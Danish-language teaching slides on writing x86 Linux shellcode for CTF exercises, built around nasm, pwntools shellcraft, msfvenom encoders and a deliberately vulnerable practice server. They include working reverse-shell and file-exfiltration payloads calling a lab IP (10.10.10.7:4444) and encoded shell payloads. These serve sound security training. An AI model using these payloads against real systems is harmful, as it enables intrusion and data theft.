Shellcode?

Fra Wikipedia:

"In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode. Because the function of a payload is not limited to merely spawning a shell, some have suggested that the name shellcode is insufficient.[1] However, attempts at replacing the term have not gained wide acceptance. Shellcode is commonly written in machine code."

Shellcode?

Metasploit kalder det et "payload", men det dækker også over SQLi, CMDi, JavaScript og alt muligt andet.

Shellcode?

I pwntools hedder det "shellcode" og er Shellcrafts domæne.

Hvorfor?

Hvis både Metasploit og pwntools har velfungerende shellcode, hvorfor så lave det selv?

  • Der findes deciderede shellcode CTF opgaver
  • Visse opgaver kan ikke løses uden en specialudviklet shellcode
  • Opgaver kan kræve bestemte byte sekvenser midt i shellcoden (f.eks. pointere)
  • At forstå shellcode kan hjælpe med debugging
  • At forstå shellcode kan hjælpe med at sammensætte shellcode byggeklodser
  • General purpose shellcode afslutter/crasher processen. Nogen gange skal processen fortsætte som om intet var hændt.
  • For sjovt!

Typiske krav til en shellcode

  • Kort!
  • Position independant
  • Kan typisk ikke gøre brug af libc eller andre libraries (undtagen hvis man via leaks ved hvor libc ligger)
  • Skal typisk undgå visse byte værdier (\x00, \n)

Skelet

Vi vil bruge nedenstående som et shellkode skelet:

[SECTION .text]
bits 32
global _start
_start:
    mov eax, 1    ;SYS_exit
    xor ebx, ebx  ;exit code
    int 0x80      ;syscall

Kan bygges til elf:

$ nasm -f elf -o skeleton.o skeleton.asm
$ ld -melf_i386 -o skeleton skeleton.o

Eller til "ren" maskinkode:

$ nasm -f bin -o skeleton.shellcode skeleton.asm

Skelet

Nu er der godt nok problemer med skelettet:

$ ndisasm -b 32 skeleton.shellcode
00000000  B801000000        mov eax,0x1
00000005  31DB              xor ebx,ebx
00000007  CD80              int 0x80

…for nul bytes vil man typisk gerne undgå (hvorfor?)

Skelet

Men det kan fixes:

[SECTION .text]
bits 32
global _start
_start:
    xor eax, eax  ;Zero out eax
    inc eax       ;eax = 1 = SYS_exit
    xor ebx, ebx  ;exit code
    int 0x80      ;syscall
$ ndisasm -b 32 skeleton.shellcode
00000000  31C0              xor eax,eax
00000002  40                inc eax
00000003  31DB              xor ebx,ebx
00000005  CD80              int 0x80

Og vi sparede endda to bytes!

Alternativer

Der er stort set altid flere måder at opnå det samme.

F.eks. nulstilling af eax:

mov eax, 0

xor eax, eax

sub eax, eax

xor ebx, ebx
mov eax, ebx

xor ebx, ebx
mul ebx

...sikkert flere

Test shellcode

Mange måder men jeg foretrækker denne.

Terminal 1:

$ strace run_shellcode32 1337
.......
accept(3,

Terminal 2:

$ nc localhost 1337 < skeleton.shellcode

Terminal 1 (fortsat):

......
read(4, "1\300@1\333\315\200", 4096)    = 7
_exit(0)                                = ?
+++ exited with 0 +++
vagrant@localhost:~$

Test shellcode

Her er et par gode instruktioner at kende:

nop  ; No OPeration, har opcode 0x90

int3 ; Software breakpoint, har opcode 0xcc

System kald

Typisk skal shellcode "bare" udføre en stribe system kald med de rigtige argumenter.

I i386/Linux bruger man int 0x80 instruktionen til at udføre system kald, system kald nummeret ligger i eax og argumenter ligger i ebx, ecx, edx, esi og edi…typisk.

System kald

man 2 open giver open system kaldets manual side

System kald

Konstanter kan findes med constgrep

open("/some/file", O_RDONLY);
$ constgrep -c i386 SYS_open
#define SYS_open   5
#define SYS_openat 295
$ constgrep -c i386 O_RDONLY
#define O_RDONLY 0x0

System kald

Der kan man se, at exit har system kald nr. 1 og at exit code skal i ebx, ligesom vi gjorde i skelettet.

Hvor er vi?

Som sagt skal shellcode være position independent, men bærer den data, skal den vide, hvor de er.

Her er et trick:

[SECTION .text]
bits 32
global _start
_start:
    jmp a         ;Jump to 'call'

b:  pop edx       ;Make edx point to /bin/bash
                  ;Do stuff
    xor eax, eax  ;Zero eax
    inc eax       ;eax = 1 = SYS_exit
    xor ebx, ebx  ;exit code
    int 0x80      ;syscall

a:  call b        ;Place address of /bin/bash on stack
db  "/bin/bash",0

En afsluttende nul byte er ok…men KUN én og KUN den sidste byte! (hvorfor???)

Undgå nul bytes i strenge

Skal vi have flere nul terminerede strenge bliver vi nødt til at gøre noget.

Enten:

[SECTION .text]
bits 32
global _start
_start:
    jmp a             ;Jump to 'call'

b:  pop edx           ;Make edx point to string
    xor eax, eax      ;Make eax nul
    mov [edx+5], al   ;Replace first X with a null byte
    mov [edx+11], al  ;Replace second X with a null byte
    mov [edx+17], al  ;Replace third X with a null byte
    ;Now edx points to first string
    ;Second string lies six bytes past edx
    ;Third string lies 12 bytes past edx

    xor eax, eax      ;Zero out eax
    inc eax           ;eax = 1 = SYS_exit
    xor ebx, ebx      ;exit code
    int 0x80          ;syscall

a:  call b
db  "helloXcruelXworldX"

Undgå nul bytes i strenge

Skal vi have flere nul terminerede strenge bliver vi nødt til at gøre noget.

Eller:

[SECTION .text]
bits 32
global _start
_start:
    push 0x64
    push 0x6c726f77
    push 0x1010101
    xor [esp], dword 0x16d6474
    push 0x1010101
    xor [esp], dword 0x7362016e
    push 0x6c6c6568
    ;Now esp points to first string
    ;Second string lies six bytes past esp
    ;Third string lies 12 bytes past esp

    xor eax, eax      ;Zero out eax
    inc eax           ;eax = 1 = SYS_exit
    xor ebx, ebx      ;exit code
    int 0x80          ;syscall

Opgave 1

Første opgave bliver at lave en shellcode, som skriver "Hello, shellcode world!\n" til standard out.

Opgave 2

Lad os også prøve det fra et pwntools baseret exploit.

Shellcraft

Shellcraft er pwntools samling af shellcode.

Tip
For de interesserede ligger al shellcode under pwnlib/shellcraft/templates og er skrevet i Mako templates.

Shellcraft

Shellcraft er pwntools samling af shellcode.

$ shellcraft --list i386.linux
i386.linux.acceptloop_ipv4
i386.linux.connect
i386.linux.connectstager
....
i386.linux.sh
i386.linux.stager
i386.linux.syscall

Byggeklodser really, plus et par færdigbyggede klar-til-brug.

Shellcraft

findpeer er en ret fantastisk byggeklods.

$ shellcraft i386.linux.findpeer -?
Args: port (defaults to any port)
    Finds a socket, which is connected to the specified port.
    Leaves socket in ESI.

Den gør ca. dette:

struct sockaddr_in addr;
socklen_t addrlen = sizeof(struct sockaddr_in);
int socket = 0;
while (getpeername(socket, &addr, &addrlen) < 0) {
    socket++;
}
/* yay, a connected socket has been found */
$ shellcraft -f a i386.linux.findpeer
findpeer_1:
    push -1
    push SYS_socketcall_getpeername
.....

Opgave 3

Opgave tre bliver at udbygge opgave to til at sende "Hello world" tilbage til os over vores eksisterende forbindelse.

Opgave 4

Lav opgave tre fuldstændig med shellcraft byggeklodser.

Opgave 5

Skær alt unødvendigt væk fra opgave fire.

Standard single stage shellcodes

  • sh (til lokale exploits)
  • dupsh (til remote exploits)
  • listen (branch i386-bindshell tilføjer den)
  • connect
  • findpeer
  • readfile

Standard single stage shellcodes - sh

Eksekverer en shell. I sin rene form kan den kun bruges i lokale exploits.

Gør ca. dette:

execve("/bin/sh", 0, 0);

Standard single stage shellcodes - dupsh

Omdirrigerer standard in, standard out og standard error til en given file descriptor (socket?) og eksekverer en shell.

dup2(fd, 2);
dup2(fd, 1);
dup2(fd, 0);
execve("/bin/sh", 0, 0);

Giver mest mening efter enten listen, connect eller findpeer.

Tip
findpeersh er lig med findpeer + dupsh

Standard single stage shellcodes - listen

Laver en server socket og accepterer første forbindelse på en given port.

struct sockaddr_in addr;
int server, client;
server = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(port); //port argument required
addr.sin_addr.s_addr = INADDR_ANY;
bind(server, &addr, sizeof(struct sockaddr_in));
listen(server, 1);
client = accept(server);
Tip
Er god sammen med readfile eller dupsh.
Tip
Understøtter både IPv4 og IPv6!!!

Standard single stage shellcodes - connect

Forbinder til en server på en given port. Specificeres et hostname bliver det resolved lokalt inden shellcoden genereres med hardcoded IP adresse.

struct sockaddr_in addr;
int client;
client = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(port); //port argument required
addr.sin_addr.s_addr = some_address; //address argument required
connect(client, &addr, sizeof(struct sockaddr_in));
Tip
Er god sammen med readfile eller dupsh.
Tip
Understøtter både IPv4 og IPv6!!!

Standard single stage shellcodes - findpeer

Har vi snakket om, men her er den igen:

struct sockaddr_in addr;
socklen_t addrlen = sizeof(struct sockaddr_in);
int socket = 0;
while (getpeername(socket, &addr, &addrlen) < 0) {
    socket++;
}
Tip
Er god sammen med readfile eller dupsh.
Tip
Understøtter både IPv4 og IPv6!!!

Standard single stage shellcodes - readfile

Åbner en fil og sender dens indhold til en given file descriptor (f.eks. en socket).

struct stat st;
int file = open(path, O_RDONLY); //path argument required
fstat(file, &st);
sendfile(some_file_descriptor, file, 0, st.st_size);

Standard single stage shellcodes - connect + dupsh

$ shellcraft i386.linux.connect -?
Connects to the host on the specified port.
Leaves the connected socket in ebp

Arguments:
    host(str): Remote IP address or hostname (as a dotted quad / string)
    port(int): Remote port
    network(str): Network protocol (ipv4 or ipv6)
$ shellcraft i386.linux.dupsh -?
Args: [sock (imm/reg) = ebp]
    Duplicates sock to stdin, stdout and stderr and spawns a shell.
$

connect efterlader en socket i ebp.

dupsh tager en input file descriptor, men dens default værdi er ebp.

Standard single stage shellcodes - connect + dupsh

SHELLCODE = asm(shellcraft.connect('10.10.10.7', 4444) + \
                shellcraft.dupsh())

Standard single stage shellcodes - connect + readfile

$ shellcraft i386.linux.connect -?
Connects to the host on the specified port.
Leaves the connected socket in ebp

Arguments:
    host(str): Remote IP address or hostname (as a dotted quad / string)
    port(int): Remote port
    network(str): Network protocol (ipv4 or ipv6)
$ shellcraft i386.linux.readfile -?
Args: [path, dst (imm/reg) = esi ]
    Opens the specified file path and sends its content to the specified file descriptor.
$

connect efterlader en socket i ebp.

readfile tager en filedescriptor, men dens default værdi er esi.

Standard single stage shellcodes - connect + readfile

SHELLCODE = asm(shellcraft.connect('10.10.10.7', 4444) + \
                shellcraft.readfile('flag', 'ebp'))

Udfordringer

Nogen gange kan man ikke bare bruge en standard shellcode.

Her følger et par eksempler på udfordinger.

Udfordringer - Shelly

De er implementeret i programmet shelly som ligger i assignments.

$ strace ./assignments/shelly --debug --port 1337
....
listen(3, 10)                           = 0
getpid()                                = 5290
accept(3,

Udfordringer - Shelly

$ nc localhost 1337
Hello there. How may I help you?
Choose from the menu:
 1) Execute up to 256 bytes shellcode
 2) Trampoline can only execute few bytes
 3) Read pointers
 4) Write pointers
 5) Required constants
 6) Avoid certain chars
 7) Shellcode needs to be printable
 8) Try fitting a 10000 byte shellcode into 64 bytes
 9) Go egg hunting
10) Go stack hunting
11) Exit

Opgave 6 - ESP + meget få bytes

 2) Trampoline can only execute few bytes

Typisk for off-by-a-few bugs.

int trampoline_few_bytes(int socket) {
    struct {
        char buffer[256];
        int last;
    } shellcode;

    dprintf(socket, "I will now read %d bytes from you but I will only execute the last %d bytes!\n", sizeof(shellcode), sizeof(shellcode.last));
    if (read(socket, &shellcode, sizeof(shellcode)) <= 0) {
        return 0;
    }
    EXECUTE_SHELLCODE(&shellcode.last);

    return 1;
}

Opgave 6 - ESP + meget få bytes

Typisk for off-by-a-few bugs.

../images/off-by-a-few.png

Opgave 6 - ESP + meget få bytes

Typisk for off-by-a-few bugs.

../images/off-by-a-few-solution.png

Short jumps (+127/-128) kan gøres på to bytes, skal man længere fylder det fem bytes.

Opgave 7 - Læste pointer

 3) Read pointers
int read_pointers(int socket) {
    struct {
        char buffer1[10];
        int * debugging;
        char buffer2[128];
    } data;
    data.debugging = &debug;

    dprintf(socket, "Write %d bytes which I will execute, but beware...I WILL read that pointer!\n", sizeof(data));
    if (read(socket, &data, sizeof(data)) <= 0) {
        return 0;
    }

    if (*data.debugging) {
        dprintf(socket, "Debugging is turned on.\n");
    }
    EXECUTE_SHELLCODE(&data);

    return 1;
}

Opgave 7 - Læste pointer

../images/read_pointer.png

Opgave 7 - Læste pointer

../images/read_pointer-solution.png

I en ikke position independent executable:

$ cat /proc/12708/maps | grep shelly
08048000-0804a000 r-xp 00000000 fc:01 3553329   ...
0804b000-0804c000 r-xp 00002000 fc:01 3553329   ...
0804c000-0804d000 rwxp 00003000 fc:01 3553329   ...

Opgave 8 - Skrevne pointere

 4) Write pointers
int write_pointers(int socket) {
    struct {
        char buffer1[10];
        int * debugging;
        char buffer2[128];
    } data;
    data.debugging = &debug;

    dprintf(socket, "Write %d bytes which I will execute, but beware...I WILL write that pointer!\n", sizeof(data));
    if (read(socket, &data, sizeof(data)) <= 0) {
        return 0;
    }

    *data.debugging = 1;
    dprintf(socket, "We just turned debugging on.\n");
    EXECUTE_SHELLCODE(&data);

    return 1;
}

Opgave 8 - Skrevne pointere

../images/write_pointer.png

Opgave 8 - Skrevne pointere

../images/write_pointer-solution.png

I en ikke position independent executable:

$ cat /proc/12708/maps | grep shelly
08048000-0804a000 r-xp 00000000 fc:01 3553329   ...
0804b000-0804c000 r-xp 00002000 fc:01 3553329   ...
0804c000-0804d000 rwxp 00003000 fc:01 3553329   ...

Opgave 9 - Krævede konstanter

 5) Required constants
int required_constants(int socket) {
    typedef struct {
        char name[32];
        enum { MALE = 0, FEMALE = 1, OTHER = 2 } gender;
    } user_t;

    #define MAX_USERS_PER_CHUNK 8

    user_t users[MAX_USERS_PER_CHUNK];
    int num_users, i;

    dprintf(socket, "Now tell me how many user objects I should read.\n");
    if (read_int(socket, &num_users)) {
        if (num_users > 0 && num_users <= MAX_USERS_PER_CHUNK) {
            dprintf(socket, "Fine, I will now expect %d bytes from you.\n", num_users * sizeof(user_t));
            if (read_full(socket, users, num_users * sizeof(user_t))) {
                /* Now make sure that all genders are sane */
                for (i = 0; i < num_users; i++) {
                    if (!(users[i].gender == MALE || users[i].gender == FEMALE || users[i].gender == OTHER)) {
                        dprintf(socket, "User object %d had an unsupported gender: %d\n", i, users[i].gender);
                        return 0;
                    }
                }
                EXECUTE_SHELLCODE(users);
            }
        }
    }

    return 1;
}

Opgave 9 - Krævede konstanter

../images/required_constants-solution.png

Opgave 10 - Filtre (bad chars)

 6) Avoid certain chars
int avoid_chars(int socket) {
    char buffer[256];
    unsigned char bad[] = { 0x00, 0x0a, 0x0d, 0x20, 0x3d, 0x3b };
    int i, j;
    dprintf(socket, "Give up to %d bytes shellcode...I don't accept these: ", sizeof(buffer));
    for (i = 0; i < sizeof(bad); i++) {
        dprintf(socket, i == sizeof(bad) - 1 ? "0x%02x\n" : "0x%02x, ", bad[i]);
    }
    for (i = 0; i < sizeof(buffer); i++) {
        if (read(socket, buffer + i, 1) <= 0) {
            return 0;
        }
        for (j = 0; j < sizeof(bad); j++) {
            if (buffer[i] == bad[j]) {
                buffer[i] = 0;
                EXECUTE_SHELLCODE(buffer);
                goto done;
            }
        }
    }
done:
    return 1;
}

Opgave 10 - Filtre (bad chars)

../images/encoder_decoder.png

Opgave 10 - Filtre (bad chars)

$ shellcraft i386.linux.findpeersh | msfvenom --encoder x86/shikata_ga_nai --bad-chars '\x00\x0a\x0d\x20\x3d\x3b' --arch x86 --platform linux --format py
buf =  ""
buf += "\xba\x33\xb9\x97\x19\xda\xde\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x10\x83\xe8\xfc\x31\x50\x10\x03\x50\x10\xd1"
buf += "\x4c\xfd\xe6\x7f\xa8\x8b\xfc\x24\xe8\xe1\x98\x82\x52"
buf += "\x7b\x28\x16\xbb\xe9\xb5\x36\xf6\x6e\x30\x76\x69\x35"
buf += "\x4e\x9b\xe3\x3a\xda\x60\xad\xf5\x71\x59\x15\xcb\x06"
buf += "\xd0\x5d\xb9\x6e\x72\xb1\x11\x40\xf1\xa5\x42\xfc\x9c"
buf += "\x5b\x14\xe3\x6f\x6d\x4c\xef\xd7\xf4\x5c\x6f"

Det er lidt forskelligt hvor meget Shikata Ga Nai decoderen fylder, men omkring 25-30 bytes. Hver byte i den oprindelige shellcode tilføjer én enkodet byte.

Opgave 11 - Printable

 7) Shellcode needs to be printable
int printable_shellcode(int socket) {
    char buffer[256];
    int i;

    dprintf(socket, "I will allow a %d byte shellcode but I will break on the first non printable character received. On newline I will execute.\n", sizeof(buffer));
    for (i = 0; i < sizeof(buffer); i++) {
        if (read(socket, buffer + i, 1) <= 0) {
            return 0;
        }

        if (buffer[i] == '\n') {
            EXECUTE_SHELLCODE(buffer);
        }

        if (!isgraph(buffer[i])) {
            return 0;
        }
    }

    return 1;
}

Opgave 11 - Printable

$ shellcraft i386.linux.findpeersh | msfvenom --encoder x86/alpha_upper --arch x86 --platform linux BufferRegister=EAX
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 185 (iteration=0)
x86/alpha_upper chosen with final size 185
Payload size: 185 bytes
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZKOSZDGK9ZEQK1N3ZBF1HPFLMPL6DM0RJS4E08MMPMUIP3Q1J45ZMMYKCCZC3V9PICZGOV88MMPRUL8BJE8SXFO6O6OBSE8FOU2RIBNLIJCP1IY2J4KPXJ9XMK0AA

Decoderen fylder 61 bytes, og hver byte i den oprindelige shellcode fylder to bytes enkodet.

Stages

Fra WikiPedia:

"When the amount of data that an attacker can inject into the target process is too limited to execute useful shellcode directly, it may be possible to execute it in stages. First, a small piece of shellcode (stage 1) is executed. This code then downloads a larger piece of shellcode (stage 2) into the process’s memory and executes it."

Opgave 12 - Store shellcodes

 8) Try fitting a 10000 byte shellcode into 64 bytes
int large_in_64(int socket) {
    char buffer[64];
    dprintf(socket, "Try fitting a large shellcode, say 10.000 bytes, into a %d byte buffer.\n", sizeof(buffer));
    if (read(socket, buffer, sizeof(buffer)) <= 0) {
        return 0;
    }
    EXECUTE_SHELLCODE(buffer);

    return 1;
}

Opgave 12 - Store shellcodes

LARGE_SHELLCODE = asm(shellcraft.nop()) * 10000 +\
                  asm(shellcraft.findpeersh())

Eller I kan bruge den shellcode, jeg har lagt i assignments/WebServerShellcode (i binær form).

$ shellcraft i386.linux.stager -?
Recives a fixed sized payload into a mmaped buffer
Useful in conjuncion with findpeer.
Args:
    sock, the socket to read the payload from.
    size, the size of the payload

Opgave 13 - Egg hunting

 9) Go egg hunting
int egg_hunting(int socket) {
#define EGG_SHELLCODE_SIZE 256
#define EGG_HUNTER_SIZE 40
    char egghunter[EGG_HUNTER_SIZE];
    void * shellcode = malloc(EGG_SHELLCODE_SIZE);
    dprintf(socket, "First get me up to %d bytes for a shellcode.\n", EGG_SHELLCODE_SIZE);
    if (read(socket, shellcode, EGG_SHELLCODE_SIZE) <= 0) {
        free(shellcode);
        return 0;
    }
    dprintf(socket, "Now give me an egg hunter...max size %d bytes!\n", EGG_HUNTER_SIZE);
    if (read(socket, egghunter, EGG_HUNTER_SIZE) <= 0) {
        free(shellcode);
        return 0;
    }
    shellcode = NULL;
    EXECUTE_SHELLCODE(egghunter);

    return 1;
}
Tip
Læs papers/egghunt-shellcode.pdf

Opgave 14 - Stack hunting

10) Go stack hunting
int stack_hunting(int socket) {
#define STACK_HUNTER_SIZE 10
    char buffer[256];
    char hunter[rand() & 0xfff + STACK_HUNTER_SIZE];
    dprintf(socket, "Put some shellcode on the stack.\n");
    if (read(socket, buffer, sizeof(buffer)) <= 0) {
        return 0;
    }
    dprintf(socket, "Now give me a stack hunter...you get %d bytes.\n", STACK_HUNTER_SIZE);
    if (read(socket, hunter, STACK_HUNTER_SIZE) <= 0) {
        return 0;
    }

    EXECUTE_SHELLCODE(hunter);

    return 1;
}

Opgave 14 - Stack hunting

pwntools stackhunter til i386 er KUNST!!!

$ shellcraft i386.stackhunter | disasm -c i386
   0:   3d 58 eb fc 7a          cmp    eax,0x7afceb58
   5:   75 fa                   jne    0x1
   7:   ff e4                   jmp    esp
$ echo -en '\x58\xeb\xfc' | disasm -c i386
   0:   58                      pop    eax
   1:   eb fc                   jmp    0xffffffff

Opgave 15 - Custom shellcode

ProsaCTF 2013 Tree Traverse opgaven (nu til 32 bit).

Dog, istedet for at pointer til roden ligger i rdi registret ligger det nu på esp + 4 i hukommelsen.

Lytter på localhost:9191